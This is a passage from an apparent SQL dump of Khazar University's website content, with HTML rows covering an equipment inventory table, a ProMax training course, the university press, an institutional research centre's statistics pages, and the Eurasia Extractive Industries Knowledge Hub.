margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">9</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Servers 5 IBM System x3550 M3 </p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Notebooks </p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">11</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">iPod kits (10)</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">12</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Logitech headsets </p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">13</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Logitech docks </p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">14</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mino video camera</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">15</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sony video camera </p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">16</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sony DVD copier</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">17</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Spy glasses</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"36\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">18</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Epson Document Camera</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(6017,3435,'en','Film about Khazar University','Film about Khazar University',''),(4598,2725,'en','ProMax training course was held at Khazar University','On December 6th, 2017, Khazar University launched ProMax software training course with collaboration of the Bryan Research & Engineering (BR&E) Company...','<p>On December 6<sup>th</sup>, 2017, Khazar University launched ProMax software training course with collaboration of the Bryan Research&nbsp;&amp;&nbsp;Engineering (BR&amp;E) Company. The training duration was 3 days from December 6<sup>th</sup> to 8<sup>th</sup> and 30 attendees from Khazar University, SOCAR and Encotech companies participated in this training.</p><p>This training course was mainly about designing and optimizing gas processing, refining, chemical facilities and petroleum production units. The attendees were trained how to simulate some parts of refinery and petroleum production units including designing heat exchangers, acid gas removal systems, sulfur recovery units and designing of separators.</p><p>At the end of the training all attendees received software training certificates signed by Bryan Research &amp; Engineering Company. Any further information in regards to this Company and ProMax software could be obtained by visiting the following link:&nbsp;</p><p><a href=\"https://www.bre.com/Default.aspx\">https://www.bre.com/Default.aspx</a>.</p>'),(1133,702,'en','Khazar University Press','Khazar University Press','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p>Khazar University Press, an independent publishing house affiliated with Khazar University,</p><p>produces printed publications related to educational and research fields.</p><p>The publishing house mainly produces textbooks, monographs, conference transactions, scholarly journals, magazines, and other quality</p><p>prose works.</p><p>It also publishes works translated from English and other languages into Azerbaijani and vice versa.</p><p>Since its founding in 1995, the Khazar University Press has been publishing the magazine (with a wide range of fields)&nbsp;<strong>Khazar Review</strong></p><p><strong>&nbsp;</strong>(Azerbaijani: Xəzər Xəbər jurnalı) in three languages (English, Azerbaijani, and Russian).</p><p>The publishing house is also known for the academic Journal of Azerbaijani Studies (Azərbaycan Araşdırmaları Jurnalı), which was renamed</p><p><strong>Khazar Journal of Humanities and Social Sciences&nbsp;</strong>in 2011, and the&nbsp;<strong>Azerbaijan Archeology Journal&nbsp;</strong>(Azərbaycan Arxeologiyası jurnalı).</p><p>Khazar University Press also acts as the national ISBN agent for Azerbaijan as well as its national ISMN agent.</p><p><a href=\"http://www.khazar.org/v1025/ISBN-Services/en\">ISBN/ ISMN Services</a></p><div><br></div></div></div>  <br></div>'),(1135,478,'az','Mərkəz haqqında','Mərkəz haqqında','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Məqsədlər</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; Araşdırmalar nəticəsində alınan idarəetmə məlumatlarının yaradılması, təhlili və təfsiri.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; Universitetin fəaliyyəti haqqında göstəricilərin toplanması.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; Departamentlərə yardım məqsədi ilə mövcud tədris proqramlarinin təhlili və digər qiymətləndirmə&nbsp;&nbsp;&nbsp; vasitələrinin köməyi ilə təlim və öyrnmə proseslərinin təkmilləşdirilməsi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; İdarəetmə, planlaşdırma və qərar qəbuletmə prosesləri üçün Universitet rəhbərliyini etibarlı və düzgün göstəricilər, məlumatlar və təhlil nəticələri ilə təmin edilməsi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; Tarixi, analitik, tədqiqat, layihələndirmə və müxtəlif proqramlar üçün Universitetin məlumat fayllarını qorunması və inkişaf etdirılməsi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; İnstitusional göstəricilərin yayılmasının əlaqələndirilməsi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Əsas tədqiqat sahələri</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>•&nbsp;&nbsp;</strong>Akademik fəaliyyət:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tədris proqramları</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; siniflər</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tələbə qəbulu</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; müəllim heyəti</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; Tələbə profilləri:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Birinci sinif (freshman)</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İkinci sinif (sophomore)</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Üçüncü sinif (junior)</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dördüncü sinif (senior)</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; Məzunlar:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bakalavr</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; magistr</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; doktor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; Qiymətləndirmə</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; İşçi heyət:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; akademik heyət</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; qeyri-akademik heyət</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">•&nbsp; İnstitusional göstəricilər:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kitabxana fondu</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; informasiya texnologiyaları</p>  <br></div>'),(1136,479,'az','Mərkəzin fəaliyyəti','Mərkəzin fəaliyyəti','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp; 2013-2014 akademik il üzrə profillər:</p><ol style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><a href=\"http://www.khazar.org/files/Fakulteler.pptx\">Fakultələr</a></li><li><a href=\"http://www.khazar.org/files/AKADUM%C4%B0K_DEPARTAM_.pptx\">Akademik Departamentlər</a></li><li><a href=\"http://www.khazar.org/files/TELEBE%20_HEYETI.pptx\">Tələbə heyəti</a></li><li><a href=\"http://www.khazar.org/files/QRUP_OLCULERI.pptx\">Qrup ölçüləri</a></li><li><a href=\"http://www.khazar.org/files/%C4%B0XTISASLARIN_SAYI.pptx\">İxtisasların sayı</a></li><li><a href=\"http://www.khazar.org/files/MEZUNLAR_(2013-2014).pptx\">Məzunlar (2013-2014 akademik il)</a></li><li><a href=\"http://www.khazar.org/files/MEZUNLAR_(2010-2014)).pptx\">Məzunlar (2010-2014 illər üzrə)</a></li></ol><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><hr><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;2014-2015 akademik il üzrə profillər (Payız semestri-Payız 2014):</p><ol style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong><a href=\"http://www.khazar.org/files/Fakulteler_.pptx\">FAKULTƏLƏR</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Akademik_departamentler.pptx\">AKADEMİK DEPARTAMENTLƏR</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Telebe_heyeti.pptx\">TƏLƏBƏ HEYƏTİ</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Ixtisaslarin_sayi(iller_uzre).pptx\">İXTİSASLARIN SAYI (illər üzrə)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Telebe_Qebulu_(Iller_uzre).pptx\">TƏLƏBƏ QƏBULU (illər üzrə)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Telebe_Qebulu_(Fakulteler_uzre).pptx\">TƏLƏBƏ QƏBULU (fakultlər üzrə)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Telebe_Qebulu_(Ixtisaslar_uzre).pptx\">TƏLƏBƏ QƏBULU (ixtisaslar üzrə)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Qrup_olculeri.pptx\">QRUP ÖLÇÜLƏRİ</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Xarici_telebeler(telebe_qebulu_iller_Uzre).pptx\">XARİCİ TƏLƏBƏLƏR (tələbə qəbulu-illər üzrə)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Xarici_telebeler(universitetUzre).pptx\">XARICI TƏLƏBƏLƏR (universitet üzrə)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Isci_heyet(umumi).pptx\">İŞÇİ HEYƏT(ümumi)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Isci_heyet(akademik).pptx\">İŞÇİ HEYƏT (akademik )</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Isci_heyet(qeyri-akademik).pptx\">İŞÇİÇHEYƏT (qeyri-akademik)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/QIS_IMTAHAN_SESSIYASININ_NETICELERI.pptx\">QIŞ İMTAHAN SESSİYASININ NƏTİCƏLƏRİ</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/MEZUNLAR_PAYIZ_2014.pptx\">MƏZUNLAR (Payız 2014)</a></strong></li></ol><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><hr><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2014-2015 akademik il üzrə profillər (Yaz semestri-Yaz 2015):</p><ol style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><a href=\"http://www.khazar.org/files/FAKULTELER1.pptx\"><strong>FAKULTƏLƏR</strong><strong>&nbsp;1</strong></a></li><li><strong><a href=\"http://www.khazar.org/files/FAKULTELER2.pptx\">FAKULTƏLƏR 2</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/AKADEMIK_DEPARTAMENTLER.pptx\">AKADEMİK DEPARTAMENTLƏR</a></strong><strong>&nbsp;</strong></li><li><strong><a href=\"http://www.khazar.org/files/TELEBE_HEYETI.pptx\">TƏLƏBƏ HEYƏTİ</a></strong><strong>&nbsp;</strong></li><li><strong><a href=\"http://www.khazar.org/files/QRUP__OLCULERI.pptx\">QRUP ÖLÇÜLƏRİ</a></strong><strong>&nbsp;</strong></li><li><strong><a href=\"http://www.khazar.org/files/ISCI_HEYET_umumi.pptx\">İŞÇİ HEYƏT(ümumi)</a></strong><strong>&nbsp;</strong></li><li><strong><a href=\"http://www.khazar.org/files/ISCI_HEYET_AKADEMIK.pptx\">İŞÇİ HEYƏT (akademik )</a></strong><strong>&nbsp;</strong></li><li><strong><a href=\"http://www.khazar.org/files/ISCI_HEYET_QEYRI_AKADEMIK.pptx\">İŞÇİÇHEYƏT (qeyri-akademik)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/M%C9%99zunlar_yaz_2015.pptx\">MƏZUNLAR (Yaz 2015)</a></strong></li><li><a href=\"http://www.khazar.org/files/M%C6%8FZUNLAR%20(2014-2015%20tedris%20ili).pptx\"><strong>MƏZUNLAR (2014/2015 tədris ili)</strong></a></li><li><strong><a href=\"http://www.khazar.org/files/%C4%B0mtahanlar-Universitet%20(Fakult%C9%99l%C9%99r%20%C3%BCzr%C9%99).pptx\">YAZ IMTAHAN SESSIYASININ NƏTİCƏLƏRİ</a></strong></li></ol>  <br></div>'),(1138,481,'az','Əlaqə','Əlaqə','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">İnstitusional Araşdırmalar Mərkəzi,</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Khazar Universiteti</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;Mehseti&nbsp; küç. 11, &nbsp;Baku AZ1096, Azərbaycan</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;Tel: (994 12) 422 24 96; 421 79 16 ext. 250</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;Fax&nbsp; (994 12) 498 93 79</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;E-mail:&nbsp;<a href=\"mailto:rahmadov@khazar.org\"><strong>rahmadov@khazar.org</strong></a><strong>&nbsp;</strong></p>  <br></div>'),(1139,712,'az','Haqqımızda','Haqqımızda','<h2>WHAT WE DO</h2><p>The Eurasia Extractive Industries Knowledge Hub was established in 2010 at Khazar University as a regional focal point of Natural Resource Governance Institute’s (NRGI) Global HUB program. The Hub has become a leading center of expertise and capacity-building in the fields of oil, gas and mining in the region of post-communist Eurasia. Khazar University (KU) is an independent research-oriented private university in Azerbaijan. In partnership with Khazar University, NRGI has offered a wide range of courses on the extractive industries decision chain and thematic courses in issues relevant to the Eurasia region, such as the Extractive Industries Transparency Initiative (EITI), fiscal revenue management and economic diversification. Currently, Eurasia Hub has more than 400 alumni in oil and mineral exporting countries of the region.</p><p>The long-term objective is to build capacity in Eurasia to influence oil, gas and mining governance in the region. The Eurasia hub is one of six regional hubs NRGI is creating in partnership with academic institutions to offer training and support for civil society organizations, members of parliament and journalists in Anglophone Africa, Francophone Africa, Asia-Pacific, Eurasia, Latin America and Middle East/North Africa. Even though some oversight bodies in the Eurasia region have basic knowledge of the extractive industries sector, most of the capacity building and training initiatives undertaken so far in this arena have been too haphazard to create significant momentum toward influencing government policy. For more information, please see:&nbsp;<a href=\"http://www.resourcegovernance.org/grants/establishment-regional-knowledge-hub-extractive-industries-central-asiacaucasus\" target=\"_blank\">http://www.resourcegovernance.org/grants/establishment-regional-knowledge-hub-extractive-industries-central-asiacaucasus</a></p><p style=\"background:undefined \"><br></p><h2>MISSION</h2><div><p style=\"background:undefined \">Our mission is to transfer knowledge and skills to civil society representatives and other stakeholders along the extractive industries value chain in effective and transparent management of natural resources.</p><p style=\"background:undefined \"><br></p><h2>GEOGRAPHY</h2><p style=\"background:undefined \">Afghanistan, Albania, Azerbaijan, Kazakhstan, Kyrgyzstan, Mongolia, Tajikistan, Ukraine.</p></div>'),(1140,712,'en','About us','About us','<h2>WHAT WE DO</h2><p>The Eurasia Extractive Industries Knowledge Hub was established in 2010 at Khazar University as a regional focal point of Natural Resource Governance Institute’s (NRGI) Global HUB program. The Hub has become a leading center of expertise and capacity-building in the fields of oil, gas and mining in the region of post-communist Eurasia. Khazar University (KU) is an independent research-oriented private university in Azerbaijan. In partnership with Khazar University, NRGI has offered a wide range of courses on the extractive industries decision chain and thematic courses in issues relevant to the Eurasia region, such as the Extractive Industries Transparency Initiative (EITI), fiscal revenue management and economic diversification. Currently, Eurasia Hub has more than 400 alumni in oil and mineral exporting countries of the region.</p><p>The long-term objective is to build capacity in Eurasia to influence oil, gas and mining governance in the region. The Eurasia hub is one of six regional hubs NRGI is creating in partnership with academic institutions to offer training and support for civil society organizations, members of parliament and journalists in Anglophone Africa, Francophone Africa, Asia-Pacific, Eurasia, Latin America and Middle East/North Africa. Even though some oversight bodies in the Eurasia region have basic knowledge of the extractive industries sector, most of the capacity building and training initiatives undertaken so far in this arena have been too haphazard to create significant momentum toward influencing government policy. For more information, please see:&nbsp;<a href=\"http://www.resourcegovernance.org/grants/establishment-regional-knowledge-hub-extractive-industries-central-asiacaucasus\" target=\"_blank\">http://www.resourcegovernance.org/grants/establishment-regional-knowledge-hub-extractive-industries-central-asiacaucasus</a></p><p><br></p><h2>MISSION</h2><p>Our mission is to transfer knowledge and skills to civil society representatives and other stakeholders along the extractive industries value chain in effective and transparent management of natural resources.</p><p><br></p><h2>GEOGRAPHY</h2><p>Afghanistan, Albania, Azerbaijan, Kazakhstan, Kyrgyzstan, Mongolia, Tajikistan, Ukraine.</p>'),(1141,713,'az','Haqqımızda','Haqqımızda',''),(1142,713,'en','About us','About us','<p>ABOUT US</p><ul><li>The Eurasia Extractive Industries Knowledge Hub is a training and research center with the aim of knowledge delivery and development in the extractive industries field&nbsp;</li><li>The Hub was jointly created by Khazar University (Baku, Azerbaijan) and Revenue Watch Institute (NY, USA) to promote dialog between government and civil society to ensure long term sustainable development in extractive countries</li></ul><p>&nbsp;</p><p>MISSION</p><ul><li>To improve knowledge and skills of civil society representatives and other stakeholders in the extractive industries (EI)</li><li>To transfer specific knowledge for the increase of effectiveness and transparency in EI administration</li><li>To build confidence among government agencies, businesses and civil society in the extractive industries&nbsp; regarding optimal management of revenues from the sale of natural resources</li></ul><p>&nbsp;</p><p>OUR ACTIVITIES</p><ul><li>Provide a cycle of thematic trainings, summer school and other dedicated courses</li><li>Technical assistance and mentorship (providing trainers, modules, consulting, etc.)</li><li>Research on the extractive industries effectiveness and transparency in the region and globally</li></ul><p>&nbsp;</p><p>&nbsp;OUR TARGET AUDIENCE</p><ul><li>Civil society representatives who want to improve their knowledge in EI</li><li>Journalists who cover subjects such as EI transparency, public finance and budgeting</li><li>Academic researchers and scholars who are interested in EI</li><li>Members of Parliament, government and corporate representatives</li></ul><p>&nbsp;</p><p>&nbsp;GEOGRAPHY WE COVER</p><ul><li>Azerbaijan, Kazakhstan, Kyrgyzstan, Tajikistan, Mongolia, Georgia, Ukraine, Russia, Afghanistan, Bulgaria, Albania and Turkmenistan.</li></ul><p>&nbsp;</p><p>HOW DOES THE HUB WORK?</p><ul><li>Participants are introduced to methods of research and analysis, rules and means of conducting campaigns according to the lobbying interests of the community, and also principles of social dialogue between representatives of civil society and representatives of companies or government structures.</li><li>During training events, participants have the opportunity to meet with representatives of extractive companies and government bodies. They also visit the Sangachal terminal where the Baku-Tbilisi Ceyhan (BTC) oil pipeline originates.</li><li>A cultural program that includes a sightseeing tour in the city of Baku is provided during the course of training.</li></ul><p>&nbsp;</p><p>&nbsp;</p><p>CONTACT INFORMATION:</p><p>&nbsp;</p><p><a 